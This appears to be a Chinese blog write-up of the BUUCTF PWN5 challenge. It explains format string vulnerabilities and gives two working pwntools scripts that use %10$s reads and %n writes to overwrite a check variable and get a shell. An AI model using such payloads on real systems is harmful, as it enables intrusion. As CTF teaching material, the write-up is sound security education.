首页 > 其他分享 >buuctf-pwn-[第五空间2019 决赛]PWN5-格式化字符串漏洞

buuctf-pwn-[第五空间2019 决赛]PWN5-格式化字符串漏洞

时间:2024-05-07 23:22:37浏览次数:23  
标签:PWN5 10 buuctf 格式化 addr bss 2019 p% 字符串

题目地址:https://buuoj.cn/challenges#[第五空间2019 决赛]PWN5

先检查一下保护情况

再拖进ida里分析

找到一个格式化字符串漏洞,那么我们可以利用这个漏洞去获取或者改写dword_804C044的值
从而进入if语句中,拿到shell

什么是格式化字符串漏洞

所谓格式化字符串漏洞,就是我们能控制格式化字符串函数的格式化字符串,从而实现在任意地址读数据、写数据

格式化字符串函数有:

函数 作用
printf 发送格式化输出到标准输出 stdout
fprintf 发送格式化输出到流 stream 中
vprintf 使用参数列表发送格式化输出到标准输出stdout
sprintf 发送格式化输出到 str 所指向的字符串
snprintf 与sprintf相同,但会限制输出的字符数,避免缓冲区溢出
vsprintf 使用参数列表发送格式化输出到字符串
... ...
正常的printf是这样的
char buf[100];
scanf("%s",buf);
printf("%s",buf)
有格式化字符串漏洞的printf
char buf[100];
scanf("%s",buf);
printf(buf)
下面的代码段让用户控制了格式化字符串函数的格式化参数 也就产生了漏洞 不少程序员可能就无意的写出这样的代码

格式化字符串任意地址读取数据

首先输入 AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p ,后面是若干个%p,然后我们从打印的数据中找0x41414141(AAAA)

发现0x41414141位于第十个位置,这就是buf字符数组的位置,后面是我们输入的0x70257025(%p%p)

printf的第一个参数是我们输入的格式化字符串,printf不会检查后面是不是printf的参数,只会根据printf的第一个参数中的格式化操作符(%p等),依次后面找地址,并将地址上的值按照格式输出,%n$p表示往后面找第10个,也就是printf的第11个参数,所以我们可以直接用 %10$p 来代替10个 %p ,即可直接输出0x41414141

后面我们就可以尝试修改AAAA的值为dword_804C044的地址,修改 %10$p%10$s
我们用pwntools辅助我们进行操作

读取dword_804C044的值解法
from pwn import *

#context.log_level= 'debug'
p = process("./pwn")

bss_addr = 0x804c044
payload = p32(bss_addr)+b'%10$s'

p.sendline(payload)

p.recvuntil(b"Hello,")
num = u32(p.recv()[4:8]) #当接收到'hello,'之后,后面四个字节为p32(bss_addr),之后就是bss_addr处的值,因为是int,所以读取四个字节
p.sendline(str(num).encode())
p.interactive()

这样就可以拿到shell了
下面我们介绍另一种方法

格式化字符串任意地址写数据

写数据主要靠%n这个不常用的符号,%n不输出字符,而是把已经输出的字符数写到该地址处

我们将 %10$s 换成 %10$n,就可以在bss_addr处写数值了
因为bss_addr处的值为int类型,所以我们要连续覆盖四个字节,复制四份,记得改一下%n中间偏移的量
p32(bss_addr)+p32(bss_addr+1)+p32(bss_addr+2)+p32(bss_addr+3)+b'%10$n'+b'%11$n'+b'%12$n'+b'%13$n'
改之后前四个地址占据了printf函数第10、11、12、13个参数,所以相应的使用 %10$n%11$n%12$n%13$n

修改dword_804C044的值解法
from pwn import *

context.log_level="debug"

#p = process("./pwn")
p = remote("node5.buuoj.cn",27945)

bss_addr = 0x804c044

payload = p32(bss_addr)+p32(bss_addr+1)+p32(bss_addr+2)+p32(bss_addr+3)+b'%10$n'+b'%11$n'+b'%12$n'+b'%13$n'

p.sendline(payload)

p.recvuntil(b"passwd:")
p.sendline(str(0x10101010))#我们输出了4个32位的地址,每个地址4字节,共16字节,也就是0x10(十六进制)
                           #将int型变量每个字节变成了0x10,所以我们将0x10101010转成十进制字符串发送,即可成功匹配

p.interactive()

标签:PWN5,10,buuctf,格式化,addr,bss,2019,p%,字符串
From: https://www.cnblogs.com/zzkkk1h/p/18178556

相关文章

  • buuctf中Crypto解题合集
    一、一眼就解密ZmxhZ3tUSEVfRkxBR19PRl9USElTX1NUUklOR30=base64在线编解码:https://base64.supfree.net/二、MD5e00cf25ad42683b3df678c61f42c6bdaMD5在线解码:https://www.cmd5.com/三、Url编码%66%6c%61%67%7b%61%6e%64%20%31%3d%31%7durl编码在线网站:https://anytexte......
  • [CSCCTF 2019 Qual]FlaskLight
    [CSCCTF2019Qual]FlaskLight打开环境源代码里发现可通过GET方式传入参数简单验证发现存在SSTI{{''.__class__.__mro__[2].__subclasses__()}}#可以爆出所有的类编写脚本查找可利用的类利用subprocess.Popen执行命令importrequestsimportreimporthtmlimportt......
  • unicode编码 asis_2019_unicorn_shop
    这题就是让我们购买第四个商品当我们输入price为1337.0的时候他会报错,显示要我们只输入一个字符那么我们就要想怎样用一个字符来表示一个比1337还要大的数字答案是unicode编码(题目的名字给了提示)上这个网站我们直接查看2000的unicode编码把这个编码复制一......
  • 洛谷 P5293 [HNOI2019] 白兔之舞
    洛谷传送门所求即为:\[\begin{aligned}f_t&=\sum\limits_{m=0}^L\binom{L}{m}A^m[k\midm-t]\\&=\frac{1}{k}\sum\limits_{m=0}^L\binom{L}{m}A^m\sum\limits_{i=0}^{k-1}\omega_k^{i(m-t)}\\&=\frac{1}{k}\sum\l......
  • [FBCTF2019]RCEService
    [FBCTF2019]RCEService打开环境,提示输入JSON格式输入{"cmd":"ls"},只有一个index,php,而且不能读取到这卡住了,找了师傅们的WP发现源码<?phpputenv('PATH=/home/rceservice/jail');if(isset($_REQUEST['cmd'])){$json=$_REQUEST['cmd'];......
  • 2018-2019 ACM-ICPC, China Multi-Provincial Collegiate Programming Contest
    A.MaximumElementInAStack按照题目模拟就好,栈内的最大值可以维护单调栈解决。#include<bits/stdc++.h>usingnamespacestd;usingi64=longlong;usingui32=unsignedint;ui32SA,SB,SC;ui32rng61(){SA^=SA<<16;SA^=SA>>5;SA^......
  • [SUCTF 2019]Pythonginx
    [SUCTF2019]Pythonginx打开环境@app.route('/getUrl',methods=['GET','POST'])defgetUrl():url=request.args.get("url")host=parse.urlparse(url).hostname//urlparse对url中的各个组成部分进行分割ifhost=='suctf......
  • BUUCTF中basic总结合集
    一、LinuxLabs打开本机cmd,输入:sshroot@ip地址-p端口号//ip地址和端口号换成题目中的接着输入yes密码123456连进去之后去根目录(cd/)ls查看文件和目录catflag.txt即可二、BUULFICOURSE1可以看到include(),文件上传漏洞,在地址栏后面加:?file=../../../flag或者......
  • [De1CTF 2019]SSRF Me
    [De1CTF2019]SSRFMe整理代码#!/usr/bin/envpython#encoding=utf-8fromflaskimportFlaskfromflaskimportrequestimportsocketimporthashlibimporturllibimportsysimportosimportjsonimportimpimp.reload(sys)app=Flask(__name__)secert_key=......
  • [IOI2019] 景点划分
    令人忍俊不禁的是,11月的模拟赛出现了“摩拉克斯”一题,被取之。2月JOISC出现这个模型,被取之。2月模拟赛出现这个模型,被取之。本题再次出现这个模型,被取之。呃呃呃呃呃呃呃呃呃啊。首先进行一些简单的分析:令\(A\leB\leC\),构造\(A,B\)合法的情况即可。并且有\(A\len/......